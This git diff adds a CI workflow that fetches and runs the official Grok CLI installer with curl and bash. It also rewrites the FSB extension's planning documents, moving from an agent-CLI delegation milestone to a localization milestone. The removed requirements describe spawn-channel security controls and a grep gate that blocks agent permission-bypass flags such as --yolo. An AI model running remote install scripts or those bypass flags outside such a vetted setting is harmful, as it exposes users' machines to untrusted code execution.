diff --git a/.github/workflows/grok-compatibility.yml b/.github/workflows/grok-compatibility.yml new file mode 100644 index 000000000..31a14e9b7 --- /dev/null +++ b/.github/workflows/grok-compatibility.yml @@ -0,0 +1,58 @@ +name: Grok CLI compatibility + +on: + schedule: + - cron: '27 10 * * 1' + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: grok-compatibility-${{ github.ref }} + cancel-in-progress: true + +jobs: + stable-cli: + name: stable CLI (${{ matrix.os }}) + runs-on: ${{ matrix.os }} + timeout-minutes: 15 + strategy: + fail-fast: false + matrix: + os: [macos-latest, ubuntu-latest] + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: '20' + - name: Install MCP build dependencies + run: npm --prefix mcp ci --no-audit --no-fund + - name: Build the checked-out integration + run: npm --prefix mcp run build + - name: Prepare Linux sandbox dependencies + if: runner.os == 'Linux' + run: | + sudo apt-get update + sudo apt-get install -y bubblewrap + - name: Install official stable Grok in a disposable directory + shell: bash + env: + GROK_CHANNEL: stable + run: | + export GROK_BIN_DIR="$RUNNER_TEMP/fsb-grok-bin" + mkdir -p "$GROK_BIN_DIR" + curl --fail --silent --show-error --location --proto '=https' https://x.ai/cli/install.sh --output "$RUNNER_TEMP/install-grok.sh" + bash "$RUNNER_TEMP/install-grok.sh" + - name: Probe capabilities without credentials or inference + shell: bash + run: | + set -o pipefail + node scripts/check-grok-compatibility.mjs --binary "$RUNNER_TEMP/fsb-grok-bin/grok" | tee "$RUNNER_TEMP/grok-compatibility.json" + - name: Upload bounded compatibility result + if: always() + uses: actions/upload-artifact@v4 + with: + name: grok-compatibility-${{ matrix.os }} + path: ${{ runner.temp }}/grok-compatibility.json + if-no-files-found: ignore diff --git a/.planning/PROJECT.md b/.planning/PROJECT.md index 472d7270d..42bb058af 100644 --- a/.planning/PROJECT.md +++ b/.planning/PROJECT.md @@ -10,7 +10,9 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr ## Current State -**Active milestone progress:** Phases 57-64 are complete (48/51 requirements). Phase 64 verified 4/4 roadmap success criteria, 66/66 plan truths, 36/36 key links, MULTI-01..03, and all ten registered HIGH/CRITICAL threats; its guarded 25-command matrix and repository test process are green after a clean code-review fix loop. Three genuine OpenCode account/process/browser/accessibility scenarios join the prior 42 in the user-directed milestone-end UAT sweep. Phase 65 (Codex Adapter) is the final implementation phase in v0.9.91; backlog Phase 999.1 remains outside this milestone. +**Active milestone:** v1.3.0 Extension multilingual UI — planning. The Chrome extension has no `chrome.i18n` catalog. This milestone makes every package-owned user-facing string render in the same seven locales the showcase already ships. + +**Paused, not shipped:** v0.9.91 MCP Clients as Providers. Automated work through Phase 65 is complete and human UAT remains pending. Its roadmap, requirements, state snapshot, research, and phase directories are archived under `.planning/milestones/v0.9.91-*`. Backlog phase 999.1 stays in `.planning/phases/`. **Last completed:** v1.2.0 Showcase i18n Completeness — Phases 52-56 shipped 2026-07-09. Full-page translation audit, 5-id resync + stats-274 retirement + hero/CTA transcreation, stats lint gate flip, permanent `verify-translation-drift` CI gate, and WARNING-02 locale-cookie redirect fix. VISUAL-01 browser UAT remains human_needed (`53-VISUAL-QA.md`). @@ -25,7 +27,29 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr - v1.0.0 Full App Catalog (OpenTabs Parity) -- archived 2026-06-29; T1 expansion debt carried into v1.1.0 -## Current Milestone: v0.9.91 MCP Clients as Providers +## Current Milestone: v1.3.0 Extension multilingual UI + +**Goal:** Internationalize the Chrome extension so every package-owned user-facing string can render in the same seven locales the showcase already ships. + +**Target features:** +- MV3 `chrome.i18n` catalogs for `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`, with Chrome folders `zh_CN` and `zh_TW` mapped in one module. +- A runtime resolver so an explicit `chrome.storage.local` choice overrides the browser UI language. Missing keys fall back to English. The website `fsb-locale` cookie is not read. +- Localized manifest name and description, side panel, popup, options and control panel, onboarding, unlock, microphone permission, and package-owned overlay chrome. +- A CI gate that fails on a missing key, an empty message, a changed placeholder, or copied English prose that is not on a hash-bound allowlist. +- A language control that shows the seven native autonyms and persists the choice. + +**Key context:** +- English is the source locale. Native labels are English, Español, Deutsch, 日本語, 한국어, 简体中文, 繁體中文. The list is `showcase/angular/src/app/core/i18n/locale-constants.ts`, mirrored in `showcase/server/src/utils/locale-constants.js`. Korean stays. v1.2.0 docs that say six locales are historical. +- `chrome.i18n.getMessage` and `__MSG_key__` follow the browser UI language and cannot switch at runtime. Extension pages are classic scripts, and the service worker loads helpers with `importScripts`, so the resolver is a classic script on `globalThis`. +- Manifest name and description follow the browser locale. The in-extension override covers extension pages and overlay chrome. +- Brand and product names, commands, and code identifiers follow `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`. +- MCP tool names, JSON-RPC methods, error codes, storage keys, and message types stay byte-stable. +- Phases continue from 66. v0.9.91 human UAT is unchanged and is not marked passed. +- No string translation happens in the planning turn. + +## Paused Milestone: v0.9.91 MCP Clients as Providers + +**Status:** Paused 2026-10-11. Automated work through Phase 65 is complete. Human UAT is still pending. This milestone is not shipped. **Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers -- FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. @@ -38,7 +62,7 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr - **Drift gate + compatibility doctor (Phase 62 complete)** -- one daemon-owned compatibility matrix feeds offline production-parser CI, doctor text/JSON, authenticated durable browser projection, protocol-drift diagnostics, and non-mutating Providers compatibility states. Three genuine installed/rendered/accessibility checks remain pending. - **Native wake path (Phase 63 complete)** -- the optional native-messaging host wakes or attaches only to `serve` through exact one-shot framing, exact-owned cross-platform registration, read-only diagnostics, and a background-authoritative wake UI with doctor fallback; it never spawns agent CLIs, and the Phase 59 channel-gate files are byte-identical to the phase base. Eight genuine install/Chrome/accessibility checks remain pending. - **OpenCode adapter (Phase 64 complete)** -- the unchanged five-method `AgentProviderAdapter` now drives both cold `opencode run` tasks and verified attaches to an FSB-owned `opencode serve`; exact 1.14.25 private policy, schema-derived JSONL fixture, first-commit drift coverage, transient server authentication, role-aware crash recovery, provider-neutral browser persistence, and honest unknown billing are all verified. Three genuine live scenarios remain pending. -- **Codex adapter (Phase 65 next)** -- complete the stable adapter roster with hermetic `codex exec --json`, source-pinned fixture/drift coverage, and honest ChatGPT OAuth versus API-key versus unauthenticated disclosure. Gemini remains explicitly deferred until a live help capture and fixture pin exist. Task-mode only for v0.9.91. +- **Codex adapter (Phase 65 automated work complete)** -- hermetic `codex exec --json`, source-pinned fixture/drift coverage, and honest ChatGPT OAuth versus API-key versus unauthenticated disclosure. Human UAT65-01 through UAT65-03 remain pending. Gemini remains explicitly deferred. Task-mode only for v0.9.91. **Key context:** - The spawn channel is security-critical (RCE-adjacent): extension-origin gating + shared secret + explicit consent tiers required. Bridge already rejects untrusted browser origins (`tests/mcp-bridge-topology.test.js`). @@ -736,4 +760,4 @@ This document evolves at phase transitions and milestone boundaries. 4. Update Context with current state --- -*Last updated: 2026-07-21 -- Phase 64 OpenCode Adapter deterministically complete; 45 live scenarios remain deferred to the milestone-end sweep. Next: Phase 65 Codex Adapter.* +*Last updated: 2026-10-11 -- v1.3.0 Extension multilingual UI started. v0.9.91 archived as paused with human UAT still pending, not shipped.* diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index a9bf7c9d0..204e86668 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -1,203 +1,106 @@ -# Requirements: FSB (Full Self-Browsing) +# Requirements: FSB Extension multilingual UI -**Defined:** 2026-07-11 -**Core Value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. -**Milestone:** v0.9.91 MCP Clients as Providers +**Defined:** 2026-10-11 +**Core Value:** Reliable single-attempt execution. This milestone does not change automation. It makes package-owned extension chrome render in the seven locales the showcase already ships. ## v1 Requirements -Requirements for this milestone. Each maps to roadmap phases. +### Locale catalog -### IDENT -- Agent Identity Capture +- [x] **LOC-01**: The packaged extension declares `default_locale` `en` and loads messages for `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`. Chrome reads Chinese from `_locales/zh_CN` and `_locales/zh_TW`. +- [x] **LOC-02**: One module maps those public codes to Chrome folders and applies the showcase alias rules: `zh`, `zh-Hans`, `zh-CN`, and `zh-SG` resolve to `zh-CN`; `zh-Hant`, `zh-TW`, `zh-HK`, and `zh-MO` resolve to `zh-TW`; any other tag falls back to its primary subtag when that subtag is supported. +- [x] **LOC-03**: A missing or empty message shows the English message, never a blank control. +- [x] **LOC-04**: A locale saved in `chrome.storage.local` under `fsbUiLocale` overrides the browser UI language. With no saved choice, the browser UI language is used. +- [x] **LOC-05**: The resolver does not read the website `fsb-locale` cookie. -- [x] **IDENT-01**: When the user clicks a copy-to-clipboard button on the onboarding MCP-install screen for a specific client (`claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local`. -- [x] **IDENT-02**: When an MCP client completes its `initialize` handshake with `fsb-mcp-server` (over any transport: stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version` and threads them to the extension via an additive field on the existing `agent:register` bridge payload without breaking any existing consumer of that payload (INV-01). -- [x] **IDENT-03**: The extension's agent registry stamps captured `clientInfo` onto each live `AgentRecord` and rolls the identity up into a durable `fsbAgentProviders.connected` entry that survives service-worker eviction and Chrome restart, keyed so re-connections update rather than duplicate. -- [x] **IDENT-04**: `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; ` --version` probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. -- [x] **IDENT-05**: A `getMcpClients` extension runtime message returns a merged view (`clicked` ∪ `installed` ∪ `connected`) with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves. +### Wire stability -### PROV -- Providers Panel +- [x] **WIRE-01**: MCP tool names, tool descriptions, JSON-RPC methods, error codes, storage keys, and bridge message types stay byte-stable. Localization does not change them. -- [x] **PROV-01**: The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and any anchor `#api-config` continues to work as a redirect to the new `#providers` anchor for existing bookmarks). -- [x] **PROV-02**: Each provider has an explicit `providerKind` value of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render. -- [x] **PROV-03**: When an `agent`-kind provider is selected, the API-key input, key-URL hint, and per-model key-format hint are hidden; the panel shows instead the provider's install status, auth status (from the CLI's own login state where surfaceable), connection status, and a short "uses your subscription -- no API key needed" caption. -- [x] **PROV-04**: When the user has both an active `agent` provider selection and a valid BYOK key for an `api` provider, `universal-provider.js` continues to see only `api`-kind provider values; the two selections do not collide, and switching between them preserves the other's configuration (INV-03 provider parity for the BYOK side). -- [x] **PROV-05**: The panel visually marks exactly one provider as "Recommended" per session, chosen by a ground-truth cascade: highest-priority = a provider whose CLI is currently connected via MCP `initialize`, next = a provider whose CLI is installed on disk, next = a provider whose copy button the user clicked during onboarding, fallback = the current xAI-default recommendation. The panel never auto-switches the user's selection; the badge is advisory only. -- [x] **PROV-06**: Cost/usage rows for `agent`-kind providers never display fabricated dollar amounts; they display token count, turn count, and duration and label the run as "included in your subscription", with a link to the vendor's current billing page (copy must not promise "free" or "unlimited"). +### Shell chrome -### CHAN -- Delegation Channel & Security Foundation +- [x] **SHELL-01**: Chrome shows a localized extension name and description for each of the seven locales. `FSB` stays untranslated. The manifest `version` field stays the version. +- [x] **SHELL-02**: Side-panel package-owned labels, buttons, empty states, and status text render in the active locale. +- [x] **SHELL-03**: Popup package-owned labels, buttons, and status text render in the active locale. -- [x] **CHAN-01**: A new bridge message-type family (`ext:request` / `ext:response` / `ext:event`) transports extension→daemon reverse requests over the existing ws://localhost:7225 bridge without changing the byte-shape of any existing `MCPMessageType` value (INV-01 additive proof). -- [x] **CHAN-02**: A relay process signals its ability to fulfill spawn requests by advertising `capabilities: ['agent-spawn']` in its `relay:hello`; the hub routes each `ext:request` locally (if itself the daemon) or to the first relay advertising the required capability. -- [x] **CHAN-03**: The bridge rejects every incoming `ext:*` frame whose WebSocket upgrade did not carry an `Origin` header matching a durable per-install FSB-extension-id allowlist and whose `Host` header is not exactly `127.0.0.1` (or `localhost`) at the loopback port. -- [x] **CHAN-04**: A per-install >=32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame. -- [x] **CHAN-05**: `redactForLog` and diagnostic ring-buffer writes strip any string matching the shared-secret token pattern; the drift gate fails the build if a raw secret substring appears in any tracked log fixture. -- [x] **CHAN-06**: The bridge topology test suite covers hub-exit-mid-delegation and relay-mid-`ext:*`-frame scenarios; existing hub-exit-promotion tests still pass byte-for-byte. -- [x] **CHAN-07**: A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those flags can never enter the spawn path in any future patch. +### Settings -### ADAPT -- Adapter Contract & Spawn Supervisor +- [x] **SET-01**: Options and control-panel package-owned labels, buttons, hints, and status text render in the active locale. -- [x] **ADAPT-01**: An `AgentProviderAdapter` TypeScript interface in `mcp/src/agent-providers/` defines exactly five methods: `detect() -> {installed, version, authState, binary}`, `buildSpawn(task, ctx) -> SpawnSpec`, `parseEvents(stream) -> AsyncIterable`, `kill(child, {grace}) -> Promise`, and `caps() -> AdapterCapabilities`. -- [x] **ADAPT-02**: A `SpawnSupervisor` module living in the `fsb-mcp-server serve` daemon accepts a validated spawn request, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`/`GEMINI_API_KEY` scrubbed. -- [x] **ADAPT-03**: The supervisor never invokes a shell; the user's prompt travels only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. -- [x] **ADAPT-04**: A `stop`/cancel request triggers SIGTERM at the process-group level (POSIX `process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`, Windows `taskkill /pid /T /F`), escalates to SIGKILL after a grace window, and blocks resolving the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain. -- [x] **ADAPT-05**: On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints and kills them before accepting new spawn requests (recovery from crash). +### Entry and overlay -### CLAUDE -- Claude Code MVP +- [x] **ENTRY-01**: Onboarding package-owned copy renders in the active locale. +- [x] **ENTRY-02**: Unlock and microphone-permission package-owned copy renders in the active locale. +- [x] **ENTRY-03**: Page-overlay labels that FSB authors (`Stop`, `Done`, elapsed captions, replay speed, and the same class of chrome) render in the active locale. Task titles, model summaries, and page content stay raw. -- [x] **CLAUDE-01**: The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence`, or the version-appropriate equivalent selected by `detect()` output. -- [x] **CLAUDE-02**: The user's task prompt is sent to the spawned CLI via stdin only; the adapter constructs no argv fragment containing user-supplied text. -- [x] **CLAUDE-03**: The adapter's `parseEvents` translates the CLI's stream-json events (`system/init`, `assistant`, `user`, tool-use events, `system/api_retry`, `result`) into a normalized `AgentEvent` schema (`type`, `sessionId`, `payload`), fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI. -- [x] **CLAUDE-04**: The Claude Code adapter's `detect()` fingerprints the binary via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. +### Catalog quality -### UX -- Delegation UX +- [x] **QUAL-01**: CI fails when any locale is missing a key that English has, has an empty message, or adds or drops a placeholder. +- [x] **QUAL-02**: CI fails when a non-English message copies English prose that is not on the hash-bound allowlist. +- [x] **QUAL-03**: Protected literals from `showcase/angular/src/locale/DO-NOT-TRANSLATE.md` are unchanged inside every translated message. -- [x] **UX-01**: A fifth entry `delegated` in `EXECUTION_MODES` (`extension/ai/engine-config.js`) defines: `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, `safetyLimits: { wallClockMs, eventSilenceMs }` (no iteration cap -- the loop runs in the spawned CLI, not `runAgentLoop`), and is selected when the active provider is `agent`-kind. -- [x] **UX-02**: The side panel renders a live per-run streaming feed with distinct card types for init (client, model, session id, allowed tools), tool-call (name, args summary, tab id), retry (typed error class), and result (usage summary), driven by the normalized `AgentEvent` stream. -- [x] **UX-03**: Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, what it will be permitted to do (drive the FSB MCP tools on the user's live browser), and what it will not be permitted to do (edit files, run shell, fetch arbitrary URLs). A per-run confirm-to-continue toggle is on by default and can be disabled per provider only via an explicit "trust this agent" setting. -- [x] **UX-04**: A prominent Stop button in the side panel triggers `stopDelegatedTask`, which routes to the supervisor's kill and, on confirmed exit, releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed. -- [x] **UX-05**: A delegated run opens by default in a new background tab; when the user activates the tab that the agent is driving, a persistent "Take control" affordance appears; clicking it pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. -- [x] **UX-06**: A post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind; real USD for api kind), and a per-tool-call breakdown, expandable to the full tool-call log for the run. +### Coverage -### LIFE -- Lifecycle & Persistence +- [x] **COPY-01**: CI fails when an in-scope UI file still contains package-owned user-facing English prose outside the catalog and outside the producer-owned exceptions. -- [x] **LIFE-01**: Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key before it fans out to UI subscribers, so a MV3 service worker eviction mid-run reloads exactly the delivered feed on re-open. -- [x] **LIFE-02**: While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the extension shows a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart. -- [x] **LIFE-03**: If `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message. -- [x] **LIFE-04**: On daemon restart while a delegation was mid-flight, the supervisor does not re-adopt any surviving spawned CLI; it kills it (LIFE-04 restart-is-clean) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. +### Language control -### DRIFT -- CI Drift-Smoke Gate & Doctor Extensions - -- [x] **DRIFT-01**: A CI job runs each shipped adapter against a canned prompt fixture, asserts a known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing fields, or a `--version` outside the compatibility matrix. -- [x] **DRIFT-02**: `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age. -- [x] **DRIFT-03**: The diagnostics ring buffer classifies drift events as `agent_protocol_drift` (with adapter id, expected vs observed) and rate-limits duplicate entries at the existing 1-per-10s bucket. -- [x] **DRIFT-04**: The `doctor` output includes a machine-readable adapter compatibility matrix that both CI and the extension can read to render "supported / degraded / unsupported" states without hardcoding versions in extension code. - -### NATIVE -- Native-Messaging Host - -- [x] **NATIVE-01**: `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest (macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\`), allowing the FSB extension id as the sole caller, and installs a host binary that wakes the daemon on demand. -- [x] **NATIVE-02**: The extension's manifest gains a `nativeMessaging` permission entry (additive, no other permission changes), and the extension detects native-host presence at boot; when present, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link. -- [x] **NATIVE-03**: The native host itself does not spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff. All spawn authority remains inside the `serve` daemon behind the CHAN gates. -- [x] **NATIVE-04**: `fsb-mcp-server uninstall --native-host` removes the manifest, and `doctor` reports native-host install state including manifest path and any Chrome allowlist mismatch. - -### MULTI -- Additional Adapters - -- [x] **MULTI-01**: An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode=true`; the supervisor either spawns `opencode run` cold or attaches to a running `opencode serve` per the adapter's `buildSpawn` output (contract-stresser: the ADAPT contract must accommodate both spawn and attach without hardcoding). -- [x] **MULTI-02**: The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike. -- [x] **MULTI-03**: A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-1.14.25/` (or the latest pinned version) proves the adapter's event schema in CI without a live CLI. -- [x] **MULTI-04**: A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the current-verified flag set (v0.142.5 as baseline: use `--ephemeral` + `--ignore-user-config` for hermeticity; do not use the deprecated `--full-auto`). -- [x] **MULTI-05**: The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth vs API key vs unauthenticated and surfaces the state in the provider panel so the user knows which billing bucket a run will hit. -- [x] **MULTI-06**: A schema-derived Codex JSONL contract fixture pins the event schema in CI with `liveCapturePending: true` until genuine UAT capture, and the adapter's `caps()` correctly reports `chatMode: false` for v0.9.91 (task-mode only across all adapters). +- [x] **LANG-01**: The user can choose one of the seven locales from a control that shows `English`, `Español`, `Deutsch`, `日本語`, `한국어`, `简体中文`, and `繁體中文`. Those autonyms are not translated. +- [x] **LANG-02**: The choice persists in `chrome.storage.local` and applies to the side panel, popup, options, onboarding, unlock, microphone permission, and overlay chrome without a Chrome restart. +- [x] **LANG-03**: The user can clear the choice and return to the browser UI language. ## v2 Requirements -Deferred to future release. Tracked but not in current roadmap. - -### Chat-Mode Continuity +Deferred. Not in this roadmap. -- **CHAT-FUTURE-01**: Adapters expose `caps.chatMode: true` and the side panel maps a chat thread to `--resume ` (Claude Code) / `codex resume` / `gemini --resume` / `opencode --continue` per adapter. -- **CHAT-FUTURE-02**: The daemon pins per-thread working directory so `claude --resume` finds its history. +### Locale reach -### Gemini CLI Adapter - -- **GEMINI-FUTURE-01**: Gemini CLI adapter after a live `--help` capture and JSONL schema pinning (v0.9.91 lacked a local binary to verify against). - -### Broader Agent Ecosystem - -- **ACP-FUTURE-01**: ACP-based adapter unification (`@zed-industries/agent-client-protocol`) once ≥2 non-Claude adapters have shipped and proven the contract shape. -- **REMOTE-FUTURE-01**: Remote/mobile delegation surfaces (Happy-style approval flows) -- explicitly localhost-only in v0.9.91. +- **FUT-01**: The extension follows the website `fsb-locale` cookie. +- **FUT-02**: Locales beyond the seven showcase codes. +- **FUT-03**: Right-to-left layout. ## Out of Scope -Explicitly excluded. Documented to prevent scope creep. - | Feature | Reason | |---------|--------| -| Embedding `@anthropic-ai/claude-agent-sdk` in FSB | Anthropic policy prohibits third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026); shelling to the user's installed `claude` binary is the only compliant "no API key" path. | -| Proxying / spoofing subscription OAuth tokens | Banned outright by Anthropic Apr 4 2026; would be product-killing regardless of technical feasibility. | -| Bundling / silent-installing agent CLIs | Wrong shape for a Chrome extension + npm daemon; would violate Chrome Web Store distribution rules and add attack surface. | -| PTY / TUI screen-scraping of agent CLIs | Structured headless interfaces exist for all four target CLIs; scraping is a maintenance sinkhole. | -| Any `--dangerously-skip-permissions` / `--yolo` / `--auto` flag in the spawn path | 1-click RCE for any prompt-injection incident; CHAN-07 grep gate makes this a permanent invariant. | -| Fabricated dollar costs on subscription-backed runs | Cline established the $0.00 convention; PROV-06 codifies it. | -| Auto-switching the user's provider when a "better" agent appears | Advisory badge only (PROV-05); user consent is the load-bearing property. | -| Forcing users away from BYOK when an agent is available | INV-03 provider parity carries forward; BYOK stays first-class. | -| `Firefox` support | Deferred at project level; MV3 nativeMessaging in NATIVE requirements is Chrome-specific for v0.9.91. | -| Native host that itself spawns agent CLIs | NATIVE-03 explicitly forbids this; all spawn authority lives inside the serve daemon behind CHAN gates. | +| Showcase Angular i18n | Already shipped. Policy is `I18N-BOUNDARIES.md`. | +| Captured page DOM, user prompts, model output, vault secrets, logs, site-map content | Producer-owned. Translating it corrupts the product. | +| MCP tool names, descriptions, methods, error codes, storage keys, message types | Wire stays byte-stable (WIRE-01). | +| New context menus or `chrome.notifications` | The extension does not use those APIs. Do not add them in order to translate them. | +| Marking v0.9.91 shipped | Human UAT is still pending. That milestone is paused. | ## Traceability -Which phases cover which requirements. Populated during roadmap creation. +Which phases cover which requirements. Updated during roadmap creation. | Requirement | Phase | Status | |-------------|-------|--------| -| IDENT-01 | Phase 57 | Complete | -| IDENT-02 | Phase 57 | Complete | -| IDENT-03 | Phase 57 | Complete | -| IDENT-04 | Phase 57 | Complete | -| IDENT-05 | Phase 57 | Complete | -| PROV-01 | Phase 58 | Complete | -| PROV-02 | Phase 58 | Complete | -| PROV-03 | Phase 58 | Complete | -| PROV-04 | Phase 58 | Complete | -| PROV-05 | Phase 58 | Complete | -| PROV-06 | Phase 58 | Complete | -| CHAN-01 | Phase 59 | Complete | -| CHAN-02 | Phase 59 | Complete | -| CHAN-03 | Phase 59 | Complete | -| CHAN-04 | Phase 59 | Complete | -| CHAN-05 | Phase 59 | Complete | -| CHAN-06 | Phase 59 | Complete | -| CHAN-07 | Phase 59 | Complete | -| ADAPT-01 | Phase 60 | Complete | -| ADAPT-02 | Phase 60 | Complete | -| ADAPT-03 | Phase 60 | Complete | -| ADAPT-04 | Phase 60 | Complete | -| ADAPT-05 | Phase 60 | Complete | -| CLAUDE-01 | Phase 60 | Complete | -| CLAUDE-02 | Phase 60 | Complete | -| CLAUDE-03 | Phase 60 | Complete | -| CLAUDE-04 | Phase 60 | Complete | -| UX-01 | Phase 61 | Complete | -| UX-02 | Phase 61 | Complete | -| UX-03 | Phase 61 | Complete | -| UX-04 | Phase 61 | Complete | -| UX-05 | Phase 61 | Complete | -| UX-06 | Phase 61 | Complete | -| LIFE-01 | Phase 61 | Complete | -| LIFE-02 | Phase 61 | Complete | -| LIFE-03 | Phase 61 | Complete | -| LIFE-04 | Phase 61 | Complete | -| DRIFT-01 | Phase 62 | Complete | -| DRIFT-02 | Phase 62 | Complete | -| DRIFT-03 | Phase 62 | Complete | -| DRIFT-04 | Phase 62 | Complete | -| NATIVE-01 | Phase 63 | Complete | -| NATIVE-02 | Phase 63 | Complete | -| NATIVE-03 | Phase 63 | Complete | -| NATIVE-04 | Phase 63 | Complete | -| MULTI-01 | Phase 64 | Complete | -| MULTI-02 | Phase 64 | Complete | -| MULTI-03 | Phase 64 | Complete | -| MULTI-04 | Phase 65 | Complete | -| MULTI-05 | Phase 65 | Complete | -| MULTI-06 | Phase 65 | Complete | +| LOC-01 | Phase 66 | Complete | +| LOC-02 | Phase 66 | Complete | +| LOC-03 | Phase 66 | Complete | +| LOC-04 | Phase 66 | Complete | +| LOC-05 | Phase 66 | Complete | +| WIRE-01 | Phase 66 | Complete | +| QUAL-01 | Phase 66 | Complete | +| QUAL-02 | Phase 66 | Complete | +| QUAL-03 | Phase 66 | Complete | +| SHELL-01 | Phase 67 | Complete | +| SHELL-02 | Phase 67 | Complete | +| SHELL-03 | Phase 67 | Complete | +| SET-01 | Phase 68 | Complete | +| ENTRY-01 | Phase 69 | Complete | +| ENTRY-02 | Phase 69 | Complete | +| ENTRY-03 | Phase 69 | Complete | +| COPY-01 | Phase 70 | Pending | +| LANG-01 | Phase 71 | Pending | +| LANG-02 | Phase 71 | Pending | +| LANG-03 | Phase 71 | Pending | **Coverage:** -- v1 requirements: 51 total -- Mapped to phases: 51 / 51 (100%) +- v1 requirements: 20 total +- Mapped to phases: 20 - Unmapped: 0 -**Phase distribution:** -- Phase 57 (IDENT): 5 requirements -- Phase 58 (PROV): 6 requirements -- Phase 59 (CHAN): 7 requirements -- Phase 60 (ADAPT + CLAUDE): 9 requirements -- Phase 61 (UX + LIFE): 10 requirements -- Phase 62 (DRIFT): 4 requirements -- Phase 63 (NATIVE): 4 requirements -- Phase 64 (MULTI-OpenCode): 3 requirements -- Phase 65 (MULTI-Codex): 3 requirements - --- -*Requirements defined: 2026-07-11* -*Last updated: 2026-07-16 after Phase 62 completion (41/51 requirements complete; all live checks deferred to milestone end)* +*Requirements defined: 2026-10-11* +*Last updated: 2026-10-11 after roadmap creation* diff --git a/.planning/ROADMAP.md b/.planning/ROADMAP.md index ec3d07ae3..075c60e5c 100644 --- a/.planning/ROADMAP.md +++ b/.planning/ROADMAP.md @@ -1,521 +1,128 @@ # Roadmap: FSB (Full Self-Browsing) -> **Historical-scope note (2026-07-15):** The Phase 54 dashboard-exclusion -> entries below preserve the completed v1.2.0 roadmap. A later showcase -> localization follow-up superseded that policy by localizing the dashboard and -> removing its lint exclusion. Current policy lives in -> 